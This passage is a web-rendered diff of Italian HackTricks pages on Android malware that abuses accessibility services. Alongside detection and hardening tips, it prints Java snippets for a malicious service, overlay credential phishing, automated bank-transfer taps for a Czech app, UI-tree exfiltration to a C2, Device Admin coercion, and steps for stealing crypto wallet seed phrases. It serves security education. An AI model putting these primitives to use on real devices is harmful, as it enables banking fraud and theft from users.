- Allertare su prompt di MediaProjection da app non aziendali seguiti da upload periodici di frame.
|
||||
- Rilevare l'installazione/avvio di un'app NFC-relay esterna attivata da un'altra app.
|
||||
- Per il banking: imporre conferme out-of-band, binding biometrici e limiti di transazione resistenti all'automazione on-device.
|
||||
|
||||
## Riferimenti
|
||||
|
||||
- [The Dark Side of Romance: SarangTrap Extortion Campaign](https://zimperium.com/blog/the-dark-side-of-romance-sarangtrap-extortion-campaign)
|
||||
- [Luban – Android image compression library](https://github.com/Curzibn/Luban)
|
||||
- [Android Malware Promises Energy Subsidy to Steal Financial Data (McAfee Labs)](https://www.mcafee.com/blogs/other-blogs/mcafee-labs/android-malware-promises-energy-subsidy-to-steal-financial-data/)
|
||||
- [Firebase Cloud Messaging — Docs](https://firebase.google.com/docs/cloud-messaging)
|
||||
- [The Rise of RatOn: From NFC heists to remote control and ATS (ThreatFabric)](https://www.threatfabric.com/blogs/the-rise-of-raton-from-nfc-heists-to-remote-control-and-ats)
|
||||
- [GhostTap/NFSkate – NFC relay cash-out tactic (ThreatFabric)](https://www.threatfabric.com/blogs/ghost-tap-new-cash-out-tactic-with-nfc-relay)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -1,24 +1,24 @@
|
||||
# Android Accessibility Service Abuse
|
||||
# Abuso dei servizi di Accessibilità Android
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Overview
|
||||
## Panoramica
|
||||
|
||||
`AccessibilityService` è stato creato per aiutare gli utenti con disabilità a interagire con i dispositivi Android. Sfortunatamente, le stesse **API di automazione potenti** (navigazione globale, input di testo, invio di gesti, finestre sovrapposte…) possono essere utilizzate dai malware per ottenere **il completo controllo remoto** del dispositivo _senza privilegi di root_.
|
||||
`AccessibilityService` è stato creato per aiutare gli utenti con disabilità a interagire con i dispositivi Android. Purtroppo le stesse **API di automazione potenti** (navigazione globale, input di testo, dispatch di gesture, finestre overlay…) possono essere sfruttate da malware per ottenere **controllo remoto completo** sul dispositivo _senza privilegi di root_.
|
||||
|
||||
I moderni trojan bancari Android e i Trojan di accesso remoto (RAT) come **PlayPraetor, SpyNote, BrasDex, SOVA, ToxicPanda** e molti altri seguono la stessa ricetta:
|
||||
I moderni banking Trojans per Android e i Remote-Access-Trojans (RATs) come **PlayPraetor, SpyNote, BrasDex, SOVA, ToxicPanda** e molti altri seguono la stessa ricetta:
|
||||
|
||||
1. Ingegnere sociale la vittima per abilitare un servizio di accessibilità malevolo (il permesso *BIND_ACCESSIBILITY_SERVICE* è considerato "ad alto rischio" e richiede un'azione esplicita da parte dell'utente).
|
||||
1. Convincere tramite social engineering la vittima ad abilitare un servizio di accessibilità maligno (il permesso *BIND_ACCESSIBILITY_SERVICE* è considerato "high-risk" e richiede un'azione esplicita dell'utente).
|
||||
2. Sfruttare il servizio per
|
||||
* catturare ogni evento UI e testo che appare sullo schermo,
|
||||
* iniettare gesti sintetici (`dispatchGesture`) e azioni globali (`performGlobalAction`) per automatizzare qualsiasi compito desiderato dall'operatore,
|
||||
* disegnare sovrapposizioni a schermo intero sopra app legittime utilizzando il tipo di finestra **TYPE_ACCESSIBILITY_OVERLAY** (nessun prompt `SYSTEM_ALERT_WINDOW`!),
|
||||
* concedere silenziosamente ulteriori permessi di runtime cliccando sulle finestre di dialogo di sistema a nome della vittima.
|
||||
3. Esfiltrare dati o eseguire **On-Device-Fraud (ODF)** in tempo reale mentre l'utente guarda uno schermo perfettamente normale.
|
||||
* catturare ogni evento UI e il testo che appare sullo schermo,
|
||||
* iniettare gesture sintetiche (`dispatchGesture`) e azioni globali (`performGlobalAction`) per automatizzare qualsiasi operazione desiderata dall'operatore,
|
||||
* disegnare overlay a schermo intero sopra app legittime usando il tipo di finestra **TYPE_ACCESSIBILITY_OVERLAY** (nessun prompt `SYSTEM_ALERT_WINDOW`!),
|
||||
* concedere silenziosamente permessi runtime aggiuntivi cliccando sulle finestre di dialogo di sistema per conto della vittima.
|
||||
3. Esfiltrare dati o eseguire **On-Device-Fraud (ODF)** in tempo reale mentre l'utente osserva uno schermo perfettamente normale.
|
||||
|
||||
---
|
||||
|
||||
## Requesting the permission
|
||||
## Richiedere il permesso
|
||||
```xml
|
||||
<!-- AndroidManifest.xml -->
|
||||
<service
|
||||
@ -34,7 +34,7 @@ android:exported="false">
|
||||
android:resource="@xml/evil_accessibility_config"/>
|
||||
</service>
|
||||
```
|
||||
Il file XML di accompagnamento definisce come apparirà la finestra di dialogo falsa:
|
||||
L'XML associato definisce come apparirà la finestra di dialogo falsa:
|
||||
```xml
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<accessibility-service xmlns:android="http://schemas.android.com/apk/res/android"
|
||||
@ -47,7 +47,7 @@ android:canRetrieveWindowContent="true"/>
|
||||
```
|
||||
---
|
||||
|
||||
## Primitivi di automazione UI remota
|
||||
## Primitive di automazione remota dell'interfaccia utente
|
||||
```java
|
||||
public class EvilService extends AccessibilityService {
|
||||
@Override
|
||||
@ -68,17 +68,17 @@ dispatchGesture(new GestureDescription.Builder().addStroke(s).build(), null, nul
|
||||
}
|
||||
}
|
||||
```
|
||||
Con solo queste due API, un attaccante può:
|
||||
* Sbloccare lo schermo, aprire l'app bancaria, navigare nell'albero dell'interfaccia utente e inviare un modulo di trasferimento.
|
||||
* Accettare ogni dialogo di autorizzazione che appare.
|
||||
* Installare/aggiornare APK extra tramite l'intento del Play Store.
|
||||
Con sole queste due API un attaccante può:
|
||||
* Sbloccare lo schermo, aprire l'app bancaria, navigare l'albero dell'interfaccia utente e inviare un modulo di trasferimento.
|
||||
* Accettare ogni dialogo di permesso che compare.
|
||||
* Installare/aggiornare APK aggiuntivi tramite l'intent del Play Store.
|
||||
|
||||
---
|
||||
|
||||
## Modelli di abuso
|
||||
|
||||
### 1. Overlay Phishing (Raccolta di credenziali)
|
||||
Un `WebView` trasparente o opaco viene aggiunto al gestore delle finestre:
|
||||
### 1. Overlay Phishing (Credential Harvesting)
|
||||
Un `WebView` trasparente o opaco viene aggiunto al window manager:
|
||||
```java
|
||||
WindowManager.LayoutParams lp = new WindowManager.LayoutParams(
|
||||
MATCH_PARENT, MATCH_PARENT,
|
||||
@ -87,40 +87,40 @@ FLAG_NOT_FOCUSABLE | FLAG_NOT_TOUCH_MODAL, // touches still reach the real
|
||||
PixelFormat.TRANSLUCENT);
|
||||
wm.addView(phishingView, lp);
|
||||
```
|
||||
La vittima digita le credenziali nel modulo falso mentre l'app in background riceve gli stessi gesti – non viene mai mostrato alcun avviso sospetto "disegna sopra altre app".
|
||||
La vittima digita le credenziali nel form fasullo mentre l'app in background riceve gli stessi gesti – non viene mai mostrato il sospetto prompt "draw over other apps".
|
||||
|
||||
> Esempio dettagliato: la sezione *Accessibility Overlay Phishing* all'interno della pagina Tapjacking.
|
||||
> Detailed example: the *Accessibility Overlay Phishing* section inside the Tapjacking page.
|
||||
|
||||
### 2. Automazione della frode su dispositivo
|
||||
Famiglie di malware come **PlayPraetor** mantengono un canale WebSocket persistente dove l'operatore può emettere comandi di alto livello (`init`, `update`, `alert_arr`, `report_list`, …). Il servizio traduce questi comandi nei gesti di basso livello sopra, ottenendo transazioni non autorizzate in tempo reale che aggirano facilmente l'autenticazione a più fattori legata a quel dispositivo.
|
||||
### 2. On-Device Fraud automation
|
||||
Famiglie di malware come **PlayPraetor** mantengono un canale WebSocket persistente dove l'operatore può inviare comandi di alto livello (`init`, `update`, `alert_arr`, `report_list`, …). Il servizio traduce quei comandi nei gesti a basso livello descritti sopra, realizzando transazioni non autorizzate in tempo reale che bypassano facilmente la multi-factor-authentication legata a quel dispositivo.
|
||||
|
||||
### 3. Streaming e monitoraggio dello schermo
|
||||
Combinando l'**API MediaProjection** con una libreria client RTMP, il RAT può trasmettere il framebuffer live a `rtmp://<c2>:1935/live/<device_id>`, dando all'avversario una perfetta consapevolezza situazionale mentre il motore di Accessibilità gestisce l'interfaccia utente.
|
||||
### 3. Screen streaming & monitoring
|
||||
Combinando la **MediaProjection API** con una libreria client RTMP, il RAT può trasmettere il framebuffer live a `rtmp://<c2>:1935/live/<device_id>`, fornendo all'avversario perfetta consapevolezza situazionale mentre il motore Accessibility controlla l'UI.
|
||||
|
||||
---
|
||||
|
||||
## PlayPraetor – flusso di comando e controllo
|
||||
## PlayPraetor – command & control workflow
|
||||
|
||||
1. **Heartbeat HTTP(S)** – iterare su un elenco hard-coded fino a quando un dominio risponde `POST /app/searchPackageName` con il C2 attivo.
|
||||
2. **WebSocket (porta 8282)** – comandi JSON bidirezionali:
|
||||
* `update` – inviare nuove conf/APK
|
||||
* `alert_arr` – configurare modelli di overlay
|
||||
* `report_list` – inviare l'elenco dei nomi dei pacchetti mirati
|
||||
1. **HTTP(S) heartbeat** – iterare su una lista hard-coded finché un dominio risponde `POST /app/searchPackageName` con il C2 attivo.
|
||||
2. **WebSocket (port 8282)** – comandi JSON bidirezionali:
|
||||
* `update` – push di nuove conf/APK
|
||||
* `alert_arr` – configurare template di overlay
|
||||
* `report_list` – inviare lista di package name target
|
||||
* `heartbeat_web` – keep-alive
|
||||
3. **RTMP (porta 1935)** – streaming live di schermo/video.
|
||||
4. **Esfiltrazione REST** –
|
||||
* `/app/saveDevice` (impronta)
|
||||
3. **RTMP (port 1935)** – streaming live dello schermo/video.
|
||||
4. **REST exfiltration** –
|
||||
* `/app/saveDevice` (fingerprint)
|
||||
* `/app/saveContacts` | `/app/saveSms` | `/app/uploadImageBase64`
|
||||
* `/app/saveCardPwd` (credenziali bancarie)
|
||||
* `/app/saveCardPwd` (bank creds)
|
||||
|
||||
Il **AccessibilityService** è il motore locale che trasforma quei comandi cloud in interazioni fisiche.
|
||||
The **AccessibilityService** è il motore locale che trasforma quei comandi cloud in interazioni fisiche.
|
||||
|
||||
---
|
||||
|
||||
## Rilevamento di servizi di accessibilità malevoli
|
||||
## Detecting malicious accessibility services
|
||||
|
||||
* `adb shell settings get secure enabled_accessibility_services`
|
||||
* Impostazioni → Accessibilità → *Servizi scaricati* – cercare app che **non** provengono da Google Play.
|
||||
* Settings → Accessibility → *Downloaded services* – cercare app che **non** provengono da Google Play.
|
||||
* Le soluzioni MDM / EMM possono imporre `ACCESSIBILITY_ENFORCEMENT_DEFAULT_DENY` (Android 13+) per bloccare i servizi sideloaded.
|
||||
* Analizzare i servizi in esecuzione:
|
||||
```bash
|
||||
@ -129,17 +129,104 @@ adb shell dumpsys accessibility | grep "Accessibility Service"
|
||||
|
||||
---
|
||||
|
||||
## Raccomandazioni di indurimento per gli sviluppatori di app
|
||||
## Hardening recommendations for app developers
|
||||
|
||||
* Contrassegnare le viste sensibili con `android:accessibilityDataSensitive="accessibilityDataPrivateYes"` (API 34+).
|
||||
* Combinare `setFilterTouchesWhenObscured(true)` con `FLAG_SECURE` per prevenire il dirottamento di tap/overlay.
|
||||
* Rilevare overlay interrogando `WindowManager.getDefaultDisplay().getFlags()` o l'API `ViewRootImpl`.
|
||||
* Rifiutare di operare quando `Settings.canDrawOverlays()` **o** un servizio di Accessibilità non fidato è attivo.
|
||||
* Markare le view sensibili con `android:accessibilityDataSensitive="accessibilityDataPrivateYes"` (API 34+).
|
||||
* Combinare `setFilterTouchesWhenObscured(true)` con `FLAG_SECURE` per prevenire tap/overlay hijacking.
|
||||
* Rilevare overlay interrogando `WindowManager.getDefaultDisplay().getFlags()` o usando l'API `ViewRootImpl`.
|
||||
* Rifiutare di operare quando `Settings.canDrawOverlays()` **o** un Accessibility service non trusted è attivo.
|
||||
|
||||
---
|
||||
|
||||
## ATS automation cheat-sheet (Accessibility-driven)
|
||||
Malware può automatizzare completamente un'app bancaria usando solo le Accessibility APIs. Primitive generiche:
|
||||
```java
|
||||
// Helpers inside your AccessibilityService
|
||||
private List<AccessibilityNodeInfo> byText(String t){
|
||||
AccessibilityNodeInfo r = getRootInActiveWindow();
|
||||
return r == null ? Collections.emptyList() : r.findAccessibilityNodeInfosByText(t);
|
||||
}
|
||||
private boolean clickText(String t){
|
||||
for (AccessibilityNodeInfo n: byText(t)){
|
||||
if (n.isClickable()) return n.performAction(ACTION_CLICK);
|
||||
AccessibilityNodeInfo p = n.getParent();
|
||||
if (p != null) return p.performAction(ACTION_CLICK);
|
||||
}
|
||||
return false;
|
||||
}
|
||||
private void inputText(AccessibilityNodeInfo field, String text){
|
||||
Bundle b = new Bundle(); b.putCharSequence(ACTION_ARGUMENT_SET_TEXT_CHARSEQUENCE, text);
|
||||
field.performAction(ACTION_SET_TEXT, b);
|
||||
}
|
||||
private void tap(float x, float y){
|
||||
Path p = new Path(); p.moveTo(x,y);
|
||||
dispatchGesture(new GestureDescription.Builder()
|
||||
.addStroke(new GestureDescription.StrokeDescription(p,0,40)).build(), null, null);
|
||||
}
|
||||
```
|
||||
Example flow (Czech → English labels):
|
||||
- "Nová platba" (Nuovo pagamento) → clic
|
||||
- "Zadat platbu" (Inserisci pagamento) → clic
|
||||
- "Nový příjemce" (Nuovo destinatario) → clic
|
||||
- "Domácí číslo účtu" (Numero di conto domestico) → metti a fuoco e `ACTION_SET_TEXT`
|
||||
- "Další" (Avanti) → clic → … "Zaplatit" (Paga) → clic → inserire PIN
|
||||
|
||||
Fallback: coordinate codificate con `dispatchGesture` quando la ricerca testuale fallisce a causa di widget personalizzati.
|
||||
|
||||
Also seen: passaggi preliminari per `check_limit` e `limit` navigando nell'UI dei limiti e aumentando i limiti giornalieri prima del trasferimento.
|
||||
|
||||
## Pseudo-streaming dello schermo basato su testo
|
||||
Per il controllo remoto a bassa latenza, invece di uno streaming video completo, esporta una rappresentazione testuale dell'albero UI corrente e inviala ripetutamente al C2.
|
||||
```java
|
||||
private void dumpTree(AccessibilityNodeInfo n, String indent, StringBuilder sb){
|
||||
if (n==null) return;
|
||||
Rect b = new Rect(); n.getBoundsInScreen(b);
|
||||
CharSequence txt = n.getText(); CharSequence cls = n.getClassName();
|
||||
sb.append(indent).append("[").append(cls).append("] ")
|
||||
.append(txt==null?"":txt).append(" ")
|
||||
.append(b.toShortString()).append("\n");
|
||||
for (int i=0;i<n.getChildCount();i++) dumpTree(n.getChild(i), indent+" ", sb);
|
||||
}
|
||||
```
|
||||
Questa è la base per comandi come `txt_screen` (una tantum) e `screen_live` (continuo).
|
||||
|
||||
## Primitive di coercizione Device Admin
|
||||
Una volta che un Device Admin receiver è attivato, queste chiamate aumentano le opportunità di catturare credenziali e mantenere il controllo:
|
||||
```java
|
||||
DevicePolicyManager dpm = (DevicePolicyManager) getSystemService(DEVICE_POLICY_SERVICE);
|
||||
ComponentName admin = new ComponentName(this, AdminReceiver.class);
|
||||
|
||||
// 1) Immediate lock
|
||||
dpm.lockNow();
|
||||
|
||||
// 2) Force credential change (expire current PIN/password)
|
||||
dpm.setPasswordExpirationTimeout(admin, 1L); // may require owner/profile-owner on recent Android
|
||||
|
||||
// 3) Disable biometric unlock to force PIN/pattern entry
|
||||
int flags = DevicePolicyManager.KEYGUARD_DISABLE_FINGERPRINT |
|
||||
DevicePolicyManager.KEYGUARD_DISABLE_TRUST_AGENTS;
|
||||
dpm.setKeyguardDisabledFeatures(admin, flags);
|
||||
```
|
||||
Nota: la disponibilità esatta di queste policy varia a seconda della versione Android e dell'OEM; verificare il device policy role (admin vs owner) durante i test.
|
||||
|
||||
## Pattern di estrazione delle seed-phrase dei wallet Crypto
|
||||
Flussi osservati per MetaMask, Trust Wallet, Blockchain.com and Phantom:
|
||||
- Sbloccare con PIN rubato (catturato via overlay/Accessibility) o con la password del wallet fornita.
|
||||
- Navigare: Settings → Security/Recovery → Reveal/Show recovery phrase.
|
||||
- Raccogliere la frase tramite keylogging dei text nodes, secure-screen bypass, o screenshot OCR quando il testo è oscurato.
|
||||
- Supportare più locali (EN/RU/CZ/SK) per stabilizzare i selector – preferire `viewIdResourceName` quando disponibile, altrimenti fallback al matching multilingue del testo.
|
||||
|
||||
## Orchestrazione NFC-relay
|
||||
I moduli Accessibility/RAT possono installare e lanciare un'app NFC-relay dedicata (es. NFSkate) come terza fase e persino iniettare una guida overlay per accompagnare la vittima attraverso i passaggi del relay card-present.
|
||||
|
||||
Contesto e TTPs: https://www.threatfabric.com/blogs/ghost-tap-new-cash-out-tactic-with-nfc-relay
|
||||
|
||||
---
|
||||
|
||||
## Riferimenti
|
||||
* [PlayPraetor’s evolving threat: How Chinese-speaking actors globally scale an Android RAT](https://www.cleafy.com/cleafy-labs/playpraetors-evolving-threat-how-chinese-speaking-actors-globally-scale-an-android-rat)
|
||||
* [Android accessibility documentation – Automating UI interaction](https://developer.android.com/guide/topics/ui/accessibility/service)
|
||||
* [The Rise of RatOn: From NFC heists to remote control and ATS (ThreatFabric)](https://www.threatfabric.com/blogs/the-rise-of-raton-from-nfc-heists-to-remote-control-and-ats)
|
||||
* [GhostTap/NFSkate – NFC relay cash-out tactic (ThreatFabric)](https://www.threatfabric.com/blogs/ghost-tap-new-cash-out-tactic-with-nfc-relay)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user